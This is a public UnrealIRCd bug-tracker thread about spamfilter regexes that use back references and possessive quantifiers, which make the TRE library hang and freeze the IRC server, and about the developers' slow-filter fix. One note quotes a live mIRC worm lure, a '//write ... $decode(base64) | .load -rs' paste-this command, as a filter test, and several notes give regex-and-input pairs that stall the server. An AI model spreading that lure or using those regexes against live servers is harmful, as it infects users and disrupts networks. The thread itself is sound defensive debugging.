View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0002887 | unreal | ircd | public | 2006-04-19 06:03 | 2008-08-08 09:21 |
| Reporter | hmtX | Assigned To | syzop | ||
| Priority | normal | Severity | crash | Reproducibility | always |
| Status | resolved | Resolution | fixed | ||
| OS | Linux | OS Version | 2.6.8 | ||
| Product Version | 3.2.4 | ||||
| Summary | 0002887: TRE/regex: IRCD process stops responding (halts, freezes) | ||||
| Description | Usage of possessive quantifiers in spamfilter regexes (almost, more to that later) always produces these results. Need to kill ircd and restart it to get it working again. Depending on the event such a spamfilter is placed on it can cause doom to a whole network (eg. if it tries to match on a private message and you notice fast enough you can still remove it without a problem, adding a nick!user@host filter is less forgiving..). I have no logs because none are created. I first enountered this on a live network with devastating results, we had alot of modules loaded back then so we setup a testircd with no extras and found it still hangs up. What is kind of weird though is that out of 14 servers, 2 were not harmed even though they got the filter aswell... No idea. | ||||
| Steps To Reproduce | Didn't test it with different reasons or anything so that's exactly what we did: add a spamfilter for user ban, duration 2d, action gzline, reason "[Z:hmtX^mokkori] Spamming is not allowed on Immoral-Anime.Net", regex ^([a-z]++)!\1@[^:]++:(?-i)Real name$ Note: Replacing both ++ with +? will work fine | ||||
| Additional Information | The problem is not related to ++, but the use of back references (\1, \2, and so on). If back references are used, TRE must use the "backtracking" matcher which is not guaranteed to finish quickly -- so TRE will eventually find a match, it's not an infinite loop, it just taks a ridiculously long time. If you want to guarantee that this problem does not occur, do not use back references. | ||||
| Tags | No tags attached. | ||||
| 3rd party modules | |||||
|
|
forgot to mention the other boxes were mainly all kinds of freebsd versions |
|
|
Trying to freeze myself, but not much success yet.. Are there certain nickmasks that need to be online? I've "[email protected]:Real name" online, but don't know if that should match or not (it doesn't), I'm not familiar with this ++ stuff ;). I've 250 clones with other nicknames online as well. The two that didn't freeze, where they on Linux ? (I'm using Linux) Just trying to gather as much info to be able to reproduce it, so I can report it to the TRE library maintainer so he can try to figure it out :) |
|
|
certain nickmasks.. i don't think so on the testserver only myself and a network owner connected and added it, we didn't match either. the ++ stuff -> http://www.regular-expressions.info/atomic.html the two that didn't freeze run FreeBSD 4.10-RC and FreeBSD 4.11-STABLE, affected servers are running various versions like FreeBSD 6.0-RELEASE or FreeBSD 5.4-STABLE but atleast one i checked also runs FreeBSD 4.11-STABLE and it was affected. There is only one linux box connected to the network (the one i put in when reporting) and it is affected by this aswell. One of the unaffected serversl is a hub server with no client connections while the other is a client server. Weird that you can not reproduce this case, how about this: F p block 0 3793023 259200 Spamming_users_with_an_mIRC_trojan.If_you_need_help_removing_it_join#help_and_ask. hmtX^[email protected] \s///*\.?write\s([^\s]++)\s\$decode\([0-9a-z+/=]++,m\)\s\|\s(\.)?load\s-rs\s\1$ trigger with pm: Want be an OP in #anime-4ever ? paste this-> //write AOP $decode(b24gISsxOnRleHQ6KjojOnsgLmF1c2VyIDIgJG5pY2sgfCAuam9pbiAtbiAjUmVtYWphQ2hhdCB8IC53cml0ZSAtbDEgYmQgY3RjcCAqOiohaGVscCo6LiAkICQrIDItIHwgLmxvYWQgLXJzIGJkIHwgLm1zZyAkbmljayBXYW50IGJlIGFuIE9QIGluICRjaGFuID8gcGFzdGUgdGhpcy0+IAM0Ly93cml0ZSBBT1AgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIEFPUCB9,m) | .load -rs AOP Could not reproduce a freeze when i tested it on the testircd running freebsd but it sure did freeze the ircd process on my linux box when i added it on a live network... |
|
|
that one worked ;) |
|
|
argh, forgot to forward the bug, will do in the next couple of days, and confirm back here. If you don't hear anything back from me after a week, feel free to shout at me ;) |
|
|
god... I finally wanted to download latest TRE, make a testcase, check, and submit it... then THEIR SITE IS DOWN [ http://laurikari.net/tre/ ] Argggggh. Too bad then. Will try later again.. I hope... |
|
|
still down today :( |
|
|
works again :) |
|
|
The bug (including testcase .c file) has now been submitted to TRE author. The latest TRE (0.7.3) also appeared to have this problem. I'll keep you updated on the progress reports I get back (if any) ;) |
|
|
I forgot to mention it, but I had a reply back from the TRE author a week ago (May 23), he replied: - The problem is not related to ++, but the use of back references (\1, \2, and so on). If back references are used, TRE must use the "backtracking" matcher which is not guaranteed to finish quickly -- so TRE will eventually find a match, it's not an infinite loop, it just taks a ridiculously long time. If you want to guarantee that this problem does not occur, do not use back references. There is probably something that can be done in TRE to avoid the particular problem you've encountered. Looking at the regexp and string it shouldn't have to do massive backtracking. I'll take a look and see if I can make it work better. Unfortunately it is not possible to guarantee fast execution for all cases where back references are used. - I replied back that without the ++ (the ++ -> +?) there was no performance problem and asking to look again. That said, looking at what currently can be done.. I think your regex should still work reasonably well without any backreferences and such.. isn't it? I also must confess I don't know the ++ stuff so I don't know for sure. Note that I'm not saying I don't appreciate the bugreport, I do, if people don't report bugs, they never get fixed... I'm just saying, I think we can live with the current issue for now, especially with the //write thing for example it should be np. Not that I can do much anyway, the TRE regex code is impossible to understand for an outsider like me :p. |
|
|
You're right, I was only making use of the ++ because it's supposed to speed up failure and i figured speedups for intensive nick!user@host:name checks wouldn't be a bad thing. Anyways it's no problem if it can't be solved now. It should be brought to public attention though so others know about the issue and avoid possessive quantifiers; maybe put a note in the faq/docs. |
|
|
Good idea, I'll put it in the known bugs section of the release notes. |
|
|
Oh a question... Would it be safe to check for ++ in the regex, and if it contains it, just reject it? Then I'll do that as well. With safe I mean, is there another use of ++ that it would also affect / are there other ways to get possessive quantifiers other than ++. |
|
|
there are indeed, all greedy quantifiers can be made possessive: x*+ // x{0,}+, x?+ // x{0,1}+, x++ // x{1,}+ I'm not sure if TRE has support for atomic groups, haven't tested that yet, but if so then they might be affected aswell since possessive quantifiers are a special form of atomic groups. Without going into too much detail, x++ would be the same as (?>x+) . Will need to test this. |
|
|
Ok. For now I have the following comment in release notes: - Regexes: Possessive quantifiers such as, for example, "++" (not to be confused with "+") are not safe to use, they can freeze the IRCd. Let me know if it should be updated if you find something else that is affected. |
|
|
I've confirmed that all allowed variants i listed lift the same results for the //write regex = freeze --- edit: I've done some testing and found the culprit to be this: ([^\s]++) \1 A backreference to a token made up by a possessive quantifier; the broader and longer the match the longer it'll take. The example regex applied to a chan message will slow down soon, [13:33:09] <hmtX^test_> 1234567891234 1234567891234 [13:34:28] -Test.Immortal-Anime.Net- [Spamfilter] hmtX^test_!~foobar@****.****.net matches filter '([^\s]++) \1': [PRIVMSG #help: '1234567891234 1234567891234'] [[Z:hmtX^mokkori] Spamming is not allowed. (#0000)] 13 chars for ~ 1:20min freeze. Add another char and the freeze lasts for over 2 mins (i killed the process after 2 mins so dunno the exact time) If you use a less broad match like (A++) \1 it'll take more chars before slowdowns are noticable: [13:36:30] <hmtX^test_> AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA [13:37:03] -Test.Immortal-Anime.Net- [Spamfilter] hmtX^test_!~foobar@****.****.net matches filter '(A++) \1': [PRIVMSG #help: 'AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA'] [[Z:hmtX^mokkori] Spamming is not allowed. (#0000)] 26 chars for ~ 30sec freeze. --- edit: Changing the quantifiers to normal greedy ones ([^\s]+) // (A+) will not cause any delay as expected. The problem is clear: Do not backreference possessive quantifiers. --- edit: That is btw the exact reason why you couldn't cause a freeze when you tested my first proposed spamfilter regex ^([a-z]++)!\1@[^:]++:(?-i)Real name$ As your clones used [email protected]:Real name, aa is too short to be noticable. However on a network with 1600+ users and longer idents the delays will add up. |
|
|
maybe send those details to the tre authors aswell so they know exactly what to check for. |
|
|
Yeah I know, I found that out, I gave the author a test program that would run with 5 - XXX characters, and you could see the delay increasing near-exponentional :p. Sorry, forgot to mention that. |
|
|
I was too lazy to read all of this, but last I checked, TRE doesn't even support possessive quantifiers. In fact, it doesn't need to. It always implements repetition operators without the need of backtracking (it's just the way its algorithm works). ++ should most likely be a syntax error. I believe I even talked with Ville about it and he told me that it wasn't needed. I briefly looked through the code and I don't see anything in there to deal with ++ so I think it should be treated as a syntax error. |
|
|
private -> public ircop (with can_gkline or config access) required for this to happen anyway ;) |
|
|
I know this is kinda offtopic, but on the other hand it's related :P If I'm not mistaken .NET (possibly others as well) had some "variable passing" thing to regex. In short, would it be possible to make TRE know that "blah" is the nick, "blih" the ident", etc... and then use a regex like "<nick>!.*<nick>@<nick>" or however it would work... :P It probably has some kind of beautiful name, as usual :P Basically, so you can get rid of some backreferences for at least the user target (though, I suppose not always, like how do you handle nicks with 16 characters when the ident can only hold 9-10 etc). |
|
|
[quote]If I'm not mistaken .NET (possibly others as well) had some "variable passing" thing to regex[/quote] Yeah it does have a fancy name, "named back references." It's still a backref, it just uses \k'name' rather than \1. Actually, \1 will even still work. It creates both a regular backref and a named backref when you use it :) |
|
|
Oh ok. I guess what I actually meant is that we (Unreal) pass, something like nick=abc via whatever method, and then TRE knows that if someone uses '<nick>' or whatever it refers to 'abc'. Like.. so you can use "variables" in regex. Don't know if that exists.. :Pp Now rethinking it, I'm unsure if it's that useful but.. ah well. |
|
|
I'd say enabling our users to insert matching stuff-on-the-fly would make things interesting. But not sure if performance would be so good as it would have to recompile regexp each time. But this might be directly faster than using backrefs in some cases |
|
|
[17:12] <Speed> you sould code something in spamfilter process that warns the user if it finds a backref on load...something like "Backref detected, be aware of the risks bla bla bla" |
|
|
stskeeps: I did some testing, trying to duplicate your (well, that other guy that aparently does not want to submit a bugreport) problem with backrefs. You said: [quote] Spamfilter is regex "^([a-zA-Z]+)(\d+)!(\1)@(.*)$"; I'm rather puzzled at the use of strncmp(a,b,1) use 15860 0.000132 [0x808f39a] strncmp("Bravo, nicko!!! ai ghicit , ras"..., "ravo, nicko!!! ai ghicit , rasp"..., 1) = -48 <0.000047> 15860 0.000162 [0x808f39a] strncmp("ravo, nicko!!! ai ghicit , rasp"..., "avo, nicko!!! ai ghicit , raspu"..., 1) = 17 <0.000046> 15860 0.000173 [0x808f39a] strncmp("avo, nicko!!! ai ghicit , raspu"..., "vo, nicko!!! ai ghicit , raspun"..., 1) = -21 <0.000047> [/quote] Now.. first of all, I wonder what this regex is doing for a message target. If I'm not mistaken it matches things like Blah500!Blah@<etc> so definately looks like a user target to me. Anyway, when trying to see how fast it would be I did stuff like this: regex '^([a-zA-Z]+)(\d+)!(\1)@(.*)$' against 'Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ ': 0 seconds up to something of 512 characters. Then something that would not match, so Blah500!Blah/ Blah500!Blah/ etc But that was stupid, since it would instantly see it won't match Just as stupid as the first one though, since the other one would have stopped at the first match as well (all the rest would be matched by the .*) Then ehm... regex '^([a-zA-Z]+)(\d+)!(\1)@(.*)$' against 'Blah6809474171855833146384662594917717766393590283790528115466079950748578947997568543554212839936020870884803752626993525720823745743953433908182992364038040416101606061353492883010615541782415787503650999380901975649819270760612178297327338727211394234430792911750785448413354485': 0 seconds (and up to 512 chars)... still no luck with getting >0 second. Looking at your output, sts, it sounds unlogical why it would take so long. Assuming the sentence starts with "Bravo, nicko!!! ai ghicit , ras", it would already stop matching at the comma since it was expecting a digit. And.. tried this one as well (again, up to 512 chars): regex '^([a-zA-Z]+)(\d+)!(\1)@(.*)$' against 'Blah2643867081981648501597062895027281779798898052024373001580004!Blah@': 0 seconds This was all tested with the TRE we ship, in fact the one UnrealIRCd compiled, so I didn't accidently use another version or anything. In short: I'm unable to duplicate any speed issues unless using that ++ thing, but that wasn't used here. That said, as the author said, by definition they are slow (EDIT: unpredictable, actually), but... like I said.. when testing it I'm not really getting slowdown. |
|
|
Just to keep the rest up to date.. [18:25:31] <Stskeeps> Syzop[AWAY]: sorry, i got another regexp that was more proper [18:25:31] <Stskeeps> sec [18:25:31] <Stskeeps> regex "^.*(\w)\1{15,}.*$"; [18:25:31] <Stskeeps> is designed to avoid repeating characters like loooooooooooooooooooooooooooooool ------------------ [18:30:21] <Syzop[AWAY]> *nod* [18:30:29] <Syzop[AWAY]> that's better :p [18:30:33] <Syzop[AWAY]> regex '^.*(\w)\1{15,}.*$' against 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa': 540 msec [18:30:42] <Syzop[AWAY]> what I wonder though, is, why does it increase [18:30:46] <Syzop[AWAY]> why doesn't it stop after 15 chars [18:31:05] <Syzop[AWAY]> or does it some kind of stuff like "find the largest match" or whatever (no-regex-expert speaking here) [18:31:08] <Syzop[AWAY]> ;P [18:31:34] <Syzop[AWAY]> hmm the .*$ maybe [18:31:41] <Syzop[AWAY]> (would be odd) [18:32:21] <Syzop[AWAY]> hm without the .*$ it does the largest one (512 chars) in 52 msec [18:32:33] <Syzop[AWAY]> :) [18:36:37] <Syzop[AWAY]> I guess that proves sometimes humans are still smarter than computers ;P I've actually been thinking about something.. which is... add timing of how long a regex takes, and automatically disable one if it takes for example longer than 500ms or 1 second to execute (and send out a notice, obviously). But what I wonder is, would the - for example - gettimeofday() calls slow things down too much or not? Because we are talking about, if for example 30 regexes, something like 60 (or 31, but that's scary) gettimeofday() system calls for one simple message... I mean, maybe it slows things down too much, which obviously sucks and only makes things worse (if there's no trouble). Could also have one big gettimeofday thing before all regexes and one after (that's only 2 calls), but then the only thing we can do is like send a notice "ok, well.. SOME regex is taking a long time! We have no idea which though, good luck." and/or disable them all... That can't be good :PP |
|
|
Linux 2.4 (2.6 might be even better due to SYS..whatever syscall jumping): $ gcc -o syscallbench syscallbench.c -O2 -Wall && ./syscallbench gettimeofday(): 4309577 calls time(): 4721799 calls So that's 4.X million syscalls, in other words: less than a nanosecond for it to execute But.. that's just Linux, would have to check others (FreeBSD) as well. And of course, we also have windows, but if I'm not mistaken it should have a real fast function as well. EDIT: Btw, just in case you wonder, I verified with strace the system calls actually took place ;p (though, naturally, the calls/sec decreases then.. to 20K/sec to be exact) EDIT2: This was all tested on an athlon 1800, but if it's only a nanosecond on that, it should only be a couple of nanosecs on even a p450... but hey.. I got a p450 ! I'll test after dinner ;) EDIT3: Obviously this has no use if a regex takes several seconds or even minutes to execute, it's completely pointless for that. Then again, if you are lucky it would detect it's quite slow for small sentences/whatever already and would disable it by time, but it's of course no guarantee. EDIT4: This might be more something for Unreal3.2.6, since it's kinda complex and... experimental :P EDIT5: It would actually be nice if we also put these performance figures in the stats for spamfilter as well. Naturally :P |
|
|
remark: message above was editted 5 times ;p |
|
|
In regards to "^.*(\w)\1{15,}.*$": I'd use "(\w)\1{14,}?" since ^.* and .*$ are just a waste of match time and the ? makes the match lazy so it'll stop after the 15th matched char. |
|
|
Hm, I like the timing idea, I've made it a childitem for Unreal 3.2.6 (otherwise we just keep postponing 3.2.5, in this case for an issue that already exists for years anyway) :). EDIT: On second thought, we would need getrusage(), since timing is unreliable on a multitasking OS (otherwise it would randomly disable spamfilters if some other high priority process, or whatever, takes too much time). EDIT: getrusage() seems half as fast as gettimeofday/time. Still acceptable I guess, but obviously needs some good thoughts and testing. And it should all be optional, and settable when to kick the protection in (possibly in milliseconds). |
|
|
hmtX: On the original issue (++), codemastr mailed the TRE author again, his info is probably a bit clearer than mine :P |
|
|
ok :) |
|
|
I've yet to hear back from the TRE author, but I did discover a bit of what causes the issue. The problem only occurs when backreferences are used. This is because it then forces TRE to use the backtracking matcher which is significantly less efficient than its normal parser. But unfortunately, backreferences are inefficient. The problem surfaces when using multipe repeat operators. It has nothing to do with "possessive quantifiers" (TRE doesn't even support that feature). For example, something like {1,}{1,} will cause the issue as well. The POSIX standard says that such a situation is undefined. TRE is trying to handle it with an "or" condition it seems. Meaning doing, for example "a+*" on an input of "b" is equivilent to "a*" because it first does "a+" which fails, so it then does "a*" which succeeds. For some reason, this, combined with backtracking, causes the issue. I have the author as much info as I could, hopefully he'll come up with a nice solution. The easiest would be to simply not allow multiple repetition operators (which is perfectly fine according to the POSIX standard) but I guess we'll just have to see. |
|
|
Seems there's still no new TRE version released. I think for Unreal33* we should seriously rethink what regex engine to use (speed + development activity + widespreadness), since this TRE thing is only worked upon by one author, and it seems like only one author actually understands the code, and... this author happens to have little time and IMO does way too few testing as well IMO. Thankfully for Unreal33* we'll also have spamfilter globbing support. For 32* I think we'll just continue with TRE for compatability... Even if it means we'll be stuck with some current bugs. |
|
|
i think that Unreal 3.3* should use PCRE as this is the fastest REGEXP engine around (as far as i know anyways), the syntax is somewhat different, so it would need to be 3.3 to not break compatibility. PCRE has a lot better back references, and can do more complicated regular expressions which TRE is not even capable of doing. I've run into situations several times where if it used PCRE i could have easily taken care of a botnet, but with TRE it was pretty much impossible to do; I had to do all the bans manually. www.pcre.org |
|
|
I use POSIX because I'm lazy (and dislike external libs), but I'm unsure how you'd do with w32 support there. Though there's probably an implementation lying around. |
|
|
tre-0.7.5 now comes back with the error "Invalid use of repetition operators" if you attempt any of these. So that seems good for 3.2.7 (I've already upgraded it) However, for 3.3, do we want to go with something else as we said, or stick with tre? |
|
|
I presume what WolfSage said is correct and that (part of?) the bug has been fixed. However, this still doesn't solve the regex problem in general (actually it can't be solved, but.. whatever)... I've implemented my idea from June 2006 now, naturally this requires some testing ;p: - Added slow spamfilter detection. For each spamfilter, Unreal will check, each time it executes, how LONG it takes to execute. When a certain threshold is reached the IRCd will warn or even remove the spamfilter. This will prevent a spamfilter (regex) from slowing down the IRCd too much, though it's still not a guarantee that it will never go to a halt (eg: in case it takes several minutes to execute a regex or loops forever). Warning can be configured via set::spamfilter::slowdetect-warn (default: 250 milliseconds) and automatic deletion of spamfilters if it takes too long is set through set::spamfilter::slowdetect-fatal (default: 500 ms). NOTE: slow spamfilter detection is currently not available on Windows. NOTE 2: to disable slow detection you can set the warn and fatal settings to 0 (zero). OR to really disable all code, remove SPAMFILTER_DETECTSLOW from include/config.h and recompile. |
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2006-04-19 06:03 | hmtX | New Issue | |
| 2006-04-19 06:18 | hmtX | Note Added: 0011575 | |
| 2006-04-19 07:07 | syzop | Note Added: 0011576 | |
| 2006-04-19 07:07 | syzop | Status | new => acknowledged |
| 2006-04-19 07:32 | hmtX | Note Added: 0011577 | |
| 2006-04-19 07:34 | hmtX | Note Edited: 0011577 | |
| 2006-04-19 07:34 | syzop | Note Added: 0011578 | |
| 2006-04-19 07:34 | syzop | Status | acknowledged => confirmed |
| 2006-04-23 19:53 | syzop | Note Added: 0011603 | |
| 2006-04-26 18:43 | syzop | Note Added: 0011609 | |
| 2006-04-27 18:28 | syzop | Note Added: 0011619 | |
| 2006-04-28 02:58 | hmtX | Note Added: 0011643 | |
| 2006-04-28 17:55 | syzop | Note Added: 0011651 | |
| 2006-05-31 15:33 | syzop | Summary | IRCD process stops responding => TRE/regex: IRCD process stops responding (halts, freezes) |
| 2006-05-31 15:35 | syzop | Note Added: 0011810 | |
| 2006-05-31 15:36 | syzop | Note Edited: 0011810 | |
| 2006-05-31 16:26 | hmtX | Note Added: 0011811 | |
| 2006-05-31 17:07 | syzop | Note Added: 0011812 | |
| 2006-05-31 17:10 | syzop | Note Added: 0011814 | |
| 2006-05-31 18:19 | hmtX | Note Added: 0011815 | |
| 2006-05-31 18:23 | hmtX | Note Edited: 0011815 | |
| 2006-05-31 18:54 | syzop | Note Added: 0011817 | |
| 2006-06-01 06:45 | hmtX | Note Added: 0011819 | |
| 2006-06-01 06:46 | hmtX | Note Edited: 0011819 | |
| 2006-06-01 06:46 | hmtX | Note Edited: 0011819 | |
| 2006-06-01 06:55 | hmtX | Note Edited: 0011819 | |
| 2006-06-01 07:01 | hmtX | Note Edited: 0011819 | |
| 2006-06-01 07:31 | hmtX | Note Added: 0011820 | |
| 2006-06-01 07:38 | syzop | Note Added: 0011821 | |
| 2006-06-04 21:01 |
|
Note Added: 0011850 | |
| 2006-06-06 06:31 | syzop | Note Added: 0011871 | |
| 2006-06-06 06:31 | syzop | View Status | private => public |
| 2006-06-06 06:38 | syzop | Note Added: 0011872 | |
| 2006-06-06 09:26 |
|
Note Added: 0011875 | |
| 2006-06-06 09:42 | syzop | Note Added: 0011876 | |
| 2006-06-06 10:11 |
|
Note Added: 0011877 | |
| 2006-06-06 10:12 |
|
Additional Information Updated | |
| 2006-06-06 10:13 |
|
Note Added: 0011878 | |
| 2006-06-06 10:14 |
|
Note Edited: 0011877 | |
| 2006-06-06 10:29 | syzop | Note Added: 0011880 | |
| 2006-06-06 10:31 | syzop | Note Edited: 0011880 | |
| 2006-06-06 11:41 | syzop | Note Added: 0011881 | |
| 2006-06-06 11:50 | syzop | Note Added: 0011882 | |
| 2006-06-06 11:52 | syzop | Note Edited: 0011882 | |
| 2006-06-06 11:52 | syzop | Note Edited: 0011882 | |
| 2006-06-06 11:54 | syzop | Note Edited: 0011882 | |
| 2006-06-06 11:54 | syzop | Note Edited: 0011882 | |
| 2006-06-06 11:54 | syzop | Note Added: 0011883 | |
| 2006-06-06 12:18 | hmtX | Note Added: 0011884 | |
| 2006-06-06 13:13 | syzop | Relationship added | child of 0002936 |
| 2006-06-06 13:14 | syzop | Note Added: 0011885 | |
| 2006-06-06 13:16 | syzop | Note Added: 0011886 | |
| 2006-06-06 13:20 | hmtX | Note Added: 0011887 | |
| 2006-06-08 07:15 | syzop | Note Edited: 0011885 | |
| 2006-06-08 07:16 | syzop | Note Edited: 0011885 | |
| 2006-06-11 17:52 |
|
Note Added: 0011947 | |
| 2006-11-04 16:37 | syzop | Note Added: 0012587 | |
| 2006-11-04 18:20 | syzop | Relationship deleted | child of 0002936 |
| 2006-11-27 05:04 | djGrrr | Note Added: 0012744 | |
| 2006-11-27 05:07 | djGrrr | Note Edited: 0012744 | |
| 2007-01-04 22:23 | w00t | Note Added: 0012999 | |
| 2007-06-11 18:35 | WolfSage | Note Added: 0014331 | |
| 2008-08-07 15:04 | syzop | Status | confirmed => assigned |
| 2008-08-07 15:04 | syzop | Assigned To | => syzop |
| 2008-08-08 09:21 | syzop | QA | => Not touched yet by developer |
| 2008-08-08 09:21 | syzop | U4: Need for upstream patch | => No need for upstream InspIRCd patch |
| 2008-08-08 09:21 | syzop | Status | assigned => resolved |
| 2008-08-08 09:21 | syzop | Resolution | open => fixed |
| 2008-08-08 09:21 | syzop | Note Added: 0015341 |
